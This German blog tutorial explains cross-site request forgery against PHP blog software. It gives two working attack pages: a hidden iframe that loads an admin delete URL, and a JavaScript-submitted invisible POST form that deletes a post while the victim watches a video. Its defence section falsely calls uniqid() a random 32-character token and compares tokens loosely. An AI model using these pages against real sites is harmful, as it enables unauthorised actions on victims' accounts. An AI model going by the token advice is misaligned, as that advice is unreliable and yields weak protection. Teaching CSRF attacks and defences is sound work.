CSRF: PHP-Anwendungen angreifen & schützen

16. März 2014 · Kategorien: Offtopic

CSRF PHP

In diesem Artikel wird Dir erklärt, wie Du durch CSRF PHP-Anwendungen angreifen und wie Du sie vor CSRF-Attacken schützen kannst.

Was ist CSRF?

CSRF steht für Cross Site Request Forgery.
Im Grunde genommen bringt man einen eingeloggten Benutzer einer Webanwendung dazu, ohne seiner Einwilligung eine bestimmte Aktion durchzuführen.
Das kann zum Beispiel ein Administrator einer Blog-Software sein. Wenn diese Blog-Software nicht vor CSRF-Attacken geschützt ist, ist es möglich, den Administrator automatisch alle Beiträge oder Benutzer löschen zu lassen.

Wie funktioniert eine CSRF-Attacke?

Dazu müssen mehrere Dinge gegeben sein:
- die Webanwendung darf selbstverständlich nicht vor CSRF-Attacken geschützt sein
- der Aufbau der Webanwendung (URLs, HTML-Formulare) muss bekannt oder einfach zu erraten sein
- das Opfer muss einen präparierte Seite aufrufen, welche ihm zum Beispiel über einen Link untergejubelt wird
- das Opfer muss zu diesem Zeitpunkt eingeloggt sein

CSRF: PHP-Beispiel

Ein Administrator ist derzeit eingeloggt in den Administrationsbereich seiner Blogsoftware.
Dort gibt es eine Übersicht über all seine Beiträge. Zusätzlich ist es möglich, einen Beitrag dort zu löschen.
Der Link zum Löschen des Beitrags mit der ID 12345 sieht folgendermaßen aus:

<a href="http://www.php-tagebuch.de/admin/posts.php?delete=12345">Beitrag #12345 löschen</a>

Als Angreifer kannst Du nun eine HTML-Seite bauen, die diese Lösch-URL heimlich lädt:

<!DOCTYPE html>
<html>
    <head>
        <title>Supergeil</title>
    </head>
    <body>
        <iframe width="560" height="315" src="//www.youtube.com/embed/jxVcgDMBU94" frameborder="0" allowfullscreen></iframe>
        <iframe width="1" height="1" src="http://www.php-tagebuch.de/admin/posts.php?delete=12345"></iframe>
    </body>
</html>

Während das Opfer sich in diesem Beispiel an einem YouTube-Video erfreut, wurde ohne dessen Wissen der Beitrag mit der ID 12345 gelöscht.

Man mag nun denken, mit dem Umstieg auf ein POST-Formular sei genug getan:

<form method="post" action="http://www.php-tagebuch.de/admin/posts.php">
    <input type="hidden" name="id" value="12345" />
    <input type="submit" name="delete" value="löschen" />
</form>

Mit Hilfe von JavaScript können wir aber auch hier das Opfer dazu bewegen, den Beitrag zu löschen:

<!DOCTYPE html>
<html>
    <head>
        <title>Supergeil</title>
    </head>
    <body>
        <iframe width="560" height="315" src="//www.youtube.com/embed/jxVcgDMBU94" frameborder="0" allowfullscreen></iframe>

        <iframe width="1" height="1" src="about:blank" name="csrf-frame"></iframe>
        <form id="csrf-form" method="post" action="http://www.php-tagebuch.de/admin/posts.php" target="csrf-frame">
            <input type="hidden" name="id" value="12345" />
            <input type="hidden" name="delete" value="löschen" />
        </form>
        <script type="text/javascript">
            document.getElementById('csrf-form').submit();
        </script>
    </body>
</html>

In diesem Beispiel wird das vollständig unsichtbare Formular automatisch abgesendet – mit Hilfe des target-Attributs im sehr kleinen Iframe, sodass das Opfer auch hier wieder nichts von der Attacke bemerkt.

CSRF: PHP-Anwendungen schützen

Im Grunde genommen sind zwei Dinge zu tun:

1. Sämtliche Aktionen, die nicht nur Daten auslesen, sollten über POST durchgeführt werden

Zurück zum Blog-Beispiel: Wenn ein Blog-Artikel lediglich ausgelesen wird, um ihm den Benutzer anzuzeigen, kann GET verwendet werden. D.h. die ID des Artikels kann in der URL stehen:

<a href="http://www.php-tagebuch.de/view.php?id=12345">CSRF PHP Artikel</a>

Im Administrationsbereich, wo Blog-Artikel aber erstellt, bearbeitet oder gelöscht werden können, sollte POST verwendet werden. Einige Programmierer neigen dazu, für Löschaktionen ebenfalls GET zu verwenden. Das ist aber nicht ratsam!

2. Sämtliche Formulare sollten durch ein Token geschützt werden

Ein Token ist ein langer zufälliger String, der nicht erraten werden kann.
Eine Möglichkeit, dieses Token zu generieren, ist folgende:

$csrfToken = uniqid('', true); 

Die Funktion erzeugt einen zufälligen String mit einer Länge von 32 Zeichen.

Dieses Token wird nun in der Session des Besuchers gespeichert:

if(!isset($_SESSION['csrfToken'])) {
    $_SESSION['csrfToken'] = uniqid('', true);
}

Das Token sollte nun in einem versteckten Feld mit jedem Formular mitgegeben werden:

<form method="post" action="http://www.php-tagebuch.de/admin/posts.php">
    <input type="hidden" name="id" value="12345" />
    <input type="hidden" name="token" value="<?php echo $_SESSION['csrfToken']?>" />
    <input type="submit" name="delete" value="löschen" />
</form>

Nach Absenden des Formulars sollte nun das gesendete Token mit dem in der Session verglichen werden:

$token = filter_input(INPUT_POST, 'token');
if($token == $_SESSION['csrfToken']) {
    // delete post
}

Autor: | Kategorien: Offtopic

1 Kommentar zu CSRF: PHP-Anwendungen angreifen & schützen

Hinterlasse eine Antwort

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind markiert *